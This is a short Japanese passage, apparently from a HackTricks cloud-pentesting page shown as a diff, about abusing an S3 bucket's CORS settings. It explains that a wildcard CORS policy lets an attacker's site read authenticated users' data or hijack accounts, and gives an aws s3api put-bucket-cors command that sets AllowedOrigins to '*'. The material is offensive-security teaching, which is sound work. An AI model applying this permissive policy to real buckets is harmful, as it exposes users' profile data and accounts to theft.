+つまり、バケットからホストされるウェブアプリの認証済みユーザーが攻撃者のサイトを訪れた場合、攻撃者は寛容な CORS ポリシーを悪用し、アプリ次第ではユーザーのプロファイルデータにアクセスしたり、アカウントを乗っ取ったりする可能性があります。 +```bash +aws s3api put-bucket-cors \ +--bucket \ +--cors-configuration '{ +"CORSRules": [ +{ +"AllowedOrigins": ["*"], +"AllowedMethods": ["GET", "PUT", "POST"], +"AllowedHeaders": ["*"], +"ExposeHeaders": ["x-amz-request-id"], +"MaxAgeSeconds": 3000 +} +] +}' +``` {{#include ../../../../banners/hacktricks-training.md}}